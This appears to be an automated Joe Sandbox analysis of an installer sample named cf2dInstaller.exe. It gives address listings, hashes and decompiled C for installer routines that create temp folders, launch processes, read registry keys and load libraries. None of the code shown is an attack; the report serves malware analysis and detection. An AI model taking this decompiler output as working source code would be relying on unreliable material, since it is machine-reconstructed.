0x70558c10
0x70558c14
0x70558c16
0x70558c16
0x70558c19
0x70558c28
0x70558c28
0x70558c28
0x70558c2a
0x70558c2c
0x70558c2e
0x70558c31
0x70558c31
0x70558c33
0x70558c35
0x70558c35
0x70558c37
0x70558c39
0x70558c3b
0x70558c3e
0x70558c3e
0x70558c40
0x70558c42
0x70558c44
0x70558c44
0x70558c44
0x70558c45
0x70558c45
0x70558c45
0x70558c45
0x70558c45
0x70558c47
0x70558c49
0x70558c4b
0x70558c4e
0x70558c4e
0x70558c50
0x70558c52
0x70558c52
0x70558c52
0x70558c56
0x00000000
0x00000000
0x00000000
0x70558c58
0x70558c58
0x70558c5a
0x70558c5a
0x70558c5d
0x70558c5d
0x70558c61
0x70558c61
0x70558c61
0x70558c64
0x70558c6a
0x70558c6d
0x70558c70
0x70558c73
0x70558c84
0x70558c84
0x70558c86
0x70558c89
0x70558c8b
0x70558c8e
0x70558c8e
0x70558c8e
0x70558c93
0x70558c75
0x70558c75
0x70558c75
0x70558c77
0x70558c78
0x70558c7a
0x70558c7b
0x70558c7b
0x70558c7b
0x70558c7e
0x00000000
0x70558ca2
0x70558ca2
0x70558ca2
0x70558ca2
0x70558ca4
0x70558ca5
0x70558ca7
0x70558ca7
0x70558cab
0x70558cab
0x70558cb0
0x70558cb2
0x70558cb5
0x70558cb9
0x70558cbc
0x70558cbc
0x70558cbc
0x70558cc3
0x70558cc5
0x70558cc7
0x70558cca
0x70558ccc
0x70558cce
0x70558cce
0x70558cd4
0x70558cd4
0x70558cd4
0x70558cd6
0x70558cd6
0x70558cd8
0x00000000
0x00000000
0x70558cda
0x70558cda
0x70558cdd
0x70558ce4
0x70558ce7
0x70558ce7
0x70558cf0
0x70558cf0
0x70558cf0
0x70558cf1
0x70558cf1
0x70558cf3
0x70558cf4
0x70558cf4
0x70558cf6
0x00000000
0x00000000
0x70558cf8
0x70558cfb
0x70558cfc
0x70558cff
0x70558d05
0x70558d05
0x70558d07
0x70558d10
0x70558d11
0x70558d11
0x70558d13
0x70558d09
0x70558d09
0x70558d0b
0x00000000
0x70558d0b
0x00000000
0x70558d07
0x70558cf1
0x70558d16
0x70558d16
0x70558d19
0x70558d19
0x70558d1c
0x70558d1c
0x70558d1e
0x70558d20
0x70558d21
0x70558d21
0x70558d23
0x00000000
0x00000000
0x70558d25
0x70558d27
0x70558d3a
0x70558d3c
0x70558d3f
0x70558d42
0x70558d42
0x70558d29
0x70558d2b
0x70558d2d
0x70558d2d
0x70558d2d
0x70558d2f
0x70558d32
0x70558d32
0x70558d32
0x70558d34
0x70558d36
0x70558d36
0x70558d47
0x70558d4d
0x70558d4d
0x70558d53
0x70558d58
0x70558d5e
0x70558d60
0x70558d60
0x70558d66
0x70558d69
0x70558d69
0x70558d69
0x70558d6d
0x70558d73
0x70558d75
0x70558d76
0x70558d77
0x70558d7b
0x70558d7b
0x70558d7d
0x70558d7d
0x70558d81
0x70552045
0x7055204a
0x7055204c
0x7055204c
0x70552055
0x00000000
0x70552055
0x70558c1b
0x70558c1e
0x70558c20
0x70558c21
0x70558c21
0x70558c24
0x70558c26
0x00000000
0x70558c26
0x70558c9a
0x70558c9b
0x70558c9d
0x00000000
0x70558be6
0x70558be6
0x70558be6
0x70558be6
0x70558bf1

Memory Dump Source

Source File: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941914259bd139765279c99eff012f01bf3910181bcef8ecd8e8add9b1d19e0d
Instruction ID: 88d57a7ce9d28cd8bfdaf080adbc058f1d001120d1d13d51aff3c46bf214ad7a
Opcode Fuzzy Hash: 941914259bd139765279c99eff012f01bf3910181bcef8ecd8e8add9b1d19e0d
Instruction Fuzzy Hash: CC5118B16452524BD3029D78CC807B97FB7EB41264B28077AC5E2EB3C6E7A45C4E8760

Uniqueness

Uniqueness Score: -1.00%

Function 004030C6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E004030C6(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\alfons\\AppData\\Local\\Temp\\";
				E00405C6E(_t6);
				_t2 = E0040556C(_t6);
				if(_t2 != 0) {
					E004054FF(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E00405712("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x004030c7
0x004030cd
0x004030d3
0x004030da
0x004030df
0x004030e7
0x004030f3
0x004030f9
0x004030dd
0x004030dd
0x004030dd

APIs

Part of subcall function 00405C6E: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CC6
Part of subcall function 00405C6E: CharNextA.USER32(?,?,?,00000000), ref: 00405CD3
Part of subcall function 00405C6E: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CD8
Part of subcall function 00405C6E: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",C:\Users\user\AppData\Local\Temp\,00000000,004030D2,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 00405CE8

CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403244), ref: 004030E7

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004030C7, 004030CC, 004030D2, 004030DE, 004030E6, 004030ED
1033, xrefs: 004030EE

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2030658151
Opcode ID: 9fc94c8ce289ceace51d82d7694160c71b26e7ee5232ad3accb455f1d4d4e313
Instruction ID: 7f1b43601f0a10077d0081c2ba5ec5825ac71a1bded9547d22d949ebda8a6a9f
Opcode Fuzzy Hash: 9fc94c8ce289ceace51d82d7694160c71b26e7ee5232ad3accb455f1d4d4e313
Instruction Fuzzy Hash: B6D0922150AD3031D651322A3E06BCF154D8F4636AF65807BF944B608A4A6C2A825AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401B06, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B06(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x1c));
				_t30 =  *0x40af80; // 0x7dc578
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc(0x40, 0x404); // executed
						_t34 = _t8;
						_t4 = _t34 + 4; // 0x4
						E00405A2E(__ebx, _t30, _t34, _t4,  *((intOrPtr*)(_t37 - 0x24)));
						_t11 =  *0x40af80; // 0x7dc578
						 *_t34 = _t11;
						 *0x40af80 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t2 = _t30 + 4; // 0x7dc57c
							E00405A0C(_t33, _t2);
							_push(_t30);
							 *0x40af80 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								E00405A0C(0x409b80, _t30 + 4);
								_t21 =  *0x40af80; // 0x7dc578
								E00405A0C(_t32, _t21 + 4);
								_t24 =  *0x40af80; // 0x7dc578
								_push(0x409b80);
								_push(_t24 + 4);
								E00405A0C();
								L15:
								 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E00405A2E(_t27, _t30, _t33, _t27, 0xffffffe8));
					E004052CD();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b06
0x00401b06
0x00401b09
0x00401b11
0x00401b59
0x00401b87
0x00401b90
0x00401b92
0x00401b96
0x00401b9b
0x00401ba0
0x00401ba2
0x00401b5b
0x00401b5d
0x0040265c
0x00401b63
0x00401b63
0x00401b68
0x00401b6f
0x00401b70
0x00401b75
0x00401b75
0x00401b5d
0x00000000
0x00401b13
0x00401b13
0x00401b13
0x00401b16
0x00000000
0x00000000
0x00401b1c
0x00401b20
0x00000000
0x00401b22
0x00401b24
0x00000000
0x00401b2a
0x00401b2a
0x00401b34
0x00401b39
0x00401b43
0x00401b48
0x00401b4d
0x00401b51
0x004027b1
0x0040288b
0x0040288e
0x00402894
0x00402894
0x00401b24
0x00000000
0x00401b20
0x004021fb
0x00402208
0x00402209
0x0040220e
0x0040220e
0x00402896
0x0040289a

APIs

GlobalFree.KERNEL32 ref: 00401B75
GlobalAlloc.KERNEL32(00000040,00000404), ref: 00401B87

Strings

Show, xrefs: 00401B2D, 00401B33, 00401B4D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Global$AllocFree
String ID: Show
API String ID: 3394109436-2453435967
Opcode ID: bbfffe31b3739507c4e85e6b3a28b9d46f7c312b657a5e65091f07df178f0f8d
Instruction ID: 02e27a443d0c975bd2d35078e55c9ecbb47b75263e9a7029776e4410220f8425
Opcode Fuzzy Hash: bbfffe31b3739507c4e85e6b3a28b9d46f7c312b657a5e65091f07df178f0f8d
Instruction Fuzzy Hash: C821C3B67002029BC710EB94DEC595F73A8EB84368724463BF502F32D0DB78AC019B5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B, Relevance: 4.5, APIs: 3, Instructions: 48
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00401E1B() {
				void* _t15;
				void* _t24;
				void* _t26;
				void* _t31;

				_t28 = E004029F6(_t24);
				E00404DAA(0xffffffeb, _t13);
				_t15 = E0040526C(_t28);
				 *(_t31 + 8) = _t15;
				if(_t15 == _t24) {
					 *((intOrPtr*)(_t31 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t31 - 0x1c)) != _t24) {
						while(WaitForSingleObject( *(_t31 + 8), 0x64) == 0x102) {
							E00405D67(0xf);
						}
						GetExitCodeProcess( *(_t31 + 8), _t31 - 8);
						if( *((intOrPtr*)(_t31 - 0x20)) < _t24) {
							if( *(_t31 - 8) != _t24) {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						} else {
							E0040596A(_t26,  *(_t31 - 8));
						}
					}
					_push( *(_t31 + 8));
					FindCloseChangeNotification(); // executed
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t31 - 4));
				return 0;
			}

0x00401e21
0x00401e26
0x00401e2c
0x00401e33
0x00401e36
0x0040265c
0x00401e3c
0x00401e3f
0x00401e50
0x00401e4b
0x00401e4b
0x00401e65
0x00401e6e
0x00401e7e
0x00401e80
0x00401e80
0x00401e70
0x00401e74
0x00401e74
0x00401e6e
0x00401e87
0x00401e8a
0x00401e8a
0x0040288e
0x0040289a

APIs

Part of subcall function 00404DAA: lstrlenA.KERNEL32(004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000,?), ref: 00404DE3
Part of subcall function 00404DAA: lstrlenA.KERNEL32(00402FB6,004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000), ref: 00404DF3
Part of subcall function 00404DAA: lstrcatA.KERNEL32(004297B8,00402FB6,00402FB6,004297B8,00000000,0041B188,7519EA30), ref: 00404E06
Part of subcall function 00404DAA: SetWindowTextA.USER32(004297B8,004297B8), ref: 00404E18
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E3E
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E58
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E66

Part of subcall function 0040526C: CreateProcessA.KERNEL32 ref: 00405291
Part of subcall function 0040526C: CloseHandle.KERNEL32(?), ref: 0040529E

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNEL32 ref: 00401E65
FindCloseChangeNotification.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$CloseProcesslstrlen$ChangeCodeCreateExitFindHandleNotificationObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3954718778-0
Opcode ID: b6bdf3c3515d2c7f51cf4a410362fa12cdd9e75705dd24ab69e6c7319206e84f
Instruction ID: b33c81b7bc3b485aca967e7674fca75add98f6be2a8732829935c4442cdc9329
Opcode Fuzzy Hash: b6bdf3c3515d2c7f51cf4a410362fa12cdd9e75705dd24ab69e6c7319206e84f
Instruction Fuzzy Hash: 99018071904214EBDF11AFA1CD859AE7A75EF00348F24403BF906B61E1C3794A82DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004058F3, Relevance: 4.5, APIs: 3, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004058F3(void* _a4, int _a8, char* _a12, int _a16, void* _a20) {
				long _t20;
				char* _t26;

				asm("sbb eax, eax");
				_t26 = _a16;
				 *_t26 = 0;
				_t20 = RegOpenKeyExA(_a4, _a8, 0,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				if(_t20 == 0) {
					_a8 = 0x400;
					if(RegQueryValueExA(_a20, _a12, 0,  &_a16, _t26,  &_a8) != 0 || _a16 != 1 && _a16 != 2) {
						 *_t26 = 0;
					}
					_t26[0x3ff] = 0;
					return RegCloseKey(_a20);
				}
				return _t20;
			}

0x00405903
0x00405905
0x00405912
0x0040591c
0x00405924
0x00405929
0x00405945
0x00405953
0x00405953
0x00405958
0x00000000
0x0040595e
0x00405967

APIs

RegOpenKeyExA.KERNEL32(80000002,00405B2F,00000000,00000002,?,00000002,0212B37D,?,00405B2F,80000002,Software\Microsoft\Windows\CurrentVersion,0212B37D,Show,02559F15), ref: 0040591C
RegQueryValueExA.ADVAPI32(0212B37D,?,00000000,00405B2F,0212B37D,00405B2F), ref: 0040593D
RegCloseKey.ADVAPI32(?), ref: 0040595E

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 20ca1dc64cf80f35bde4a5a459f169022cfe0f17446037da1f5ac97088a586f8
Instruction ID: 7f29002dde4dac3a19eb3905e2141cfc53fc6fe5580d4c3066aa5286193c6294
Opcode Fuzzy Hash: 20ca1dc64cf80f35bde4a5a459f169022cfe0f17446037da1f5ac97088a586f8
Instruction Fuzzy Hash: 16015AB104020AEFDF128F64EC44AEB3FACEF153A4F004436F954E6220D235D968DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402427, Relevance: 4.5, APIs: 3, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402427(int* __ebx, char* __esi) {
				void* _t7;
				int _t8;
				long _t11;
				int* _t14;
				void* _t18;
				char* _t20;
				void* _t22;
				void* _t25;

				_t20 = __esi;
				_t14 = __ebx;
				_t7 = E00402B00(_t25, 0x20019); // executed
				_t18 = _t7;
				_t8 = E004029D9(3);
				 *__esi = __ebx;
				if(_t18 == __ebx) {
					L7:
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					 *(_t22 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t22 - 0x14)) == __ebx) {
						_t11 = RegEnumValueA(_t18, _t8, __esi, _t22 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t11;
						if(_t11 != 0) {
							goto L7;
						} else {
							goto L4;
						}
					} else {
						RegEnumKeyA(_t18, _t8, __esi, 0x3ff); // executed
						L4:
						_t20[0x3ff] = _t14;
						_push(_t18); // executed
						RegCloseKey(); // executed
					}
				}
				 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00402427
0x00402427
0x0040242c
0x00402433
0x00402435
0x0040243c
0x0040243e
0x0040265c
0x0040265c
0x00402444
0x0040244c
0x0040244f
0x00402468
0x0040246e
0x00402470
0x00000000
0x00000000
0x00000000
0x00000000
0x00402451
0x00402455
0x00402476
0x00402476
0x0040247c
0x0040247d
0x0040247d
0x0040244f
0x0040288e
0x0040289a

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402455
RegEnumValueA.ADVAPI32 ref: 00402468
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nshFB42.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 81cedb2092e123af607385370f466b43b8b28ee3647f35b55f5e77a27fcb63b4
Instruction ID: ba27a5b4615b94bf9550a78118f2e7023eed3f1787cd0549807e620a17edd571
Opcode Fuzzy Hash: 81cedb2092e123af607385370f466b43b8b28ee3647f35b55f5e77a27fcb63b4
Instruction Fuzzy Hash: 26F0D671A04201EFE715AF659D88EBF7A6CDF40388F10443FF406B61C0D2B85D42967A

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2E, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405D2E(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409200);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x409204));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405d36
0x00405d39
0x00405d40
0x00405d48
0x00405d55
0x00000000
0x00405d5c
0x00405d4b
0x00405d53
0x00000000
0x00000000
0x00405d64

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D40
LoadLibraryA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D4B
GetProcAddress.KERNEL32(00000000,?,?,00000000,0040313D,00000008), ref: 00405D5C

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction ID: 58781945b1ebe0d6425232f008294b0fb1b641fb0524d4e5e5734917004db801
Opcode Fuzzy Hash: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction Fuzzy Hash: 8CE08C36A04510BBD3215B30AE08A6B73ACEEC9B41304897EF615F6251D734AC11DBBA

Uniqueness

Uniqueness Score: -1.00%

Function 100018EC, Relevance: 3.8, APIs: 3, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E100018EC(intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _t17;
				void* _t18;
				void* _t28;
				void* _t31;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E, _t28);
				_push(0); // executed
				_t17 = E10001D3B(); // executed
				_t31 = _t17;
				if(_t31 != 0) {
					_push(_t31);
					if(( *(_t31 + 0x810) & 0x00000004) == 0) {
						if( *((intOrPtr*)(_t31 + 4)) == 0) {
							_t18 = E10001825();
							L8:
							L9:
							return _t18;
						}
						_t18 = GlobalFree(E1000159E(E100018A1()));
						if(( *(_t31 + 0x810) & 0x00000002) == 0) {
							_t18 = GlobalFree(_t31);
						}
						goto L9;
					}
					E10001825();
					_t18 = GlobalFree(E1000159E(E100018A1(_t31)));
					goto L9;
				}
				_t18 = E1000159E(0x10004018);
				goto L8;
			}

0x100018f1
0x100018fa
0x1000190f
0x10001918
0x1000191b
0x1000191d
0x10001922
0x10001927
0x1000193c
0x1000193d
0x10001960
0x10001986
0x1000198b
0x1000198c
0x1000198e
0x1000198e
0x10001976
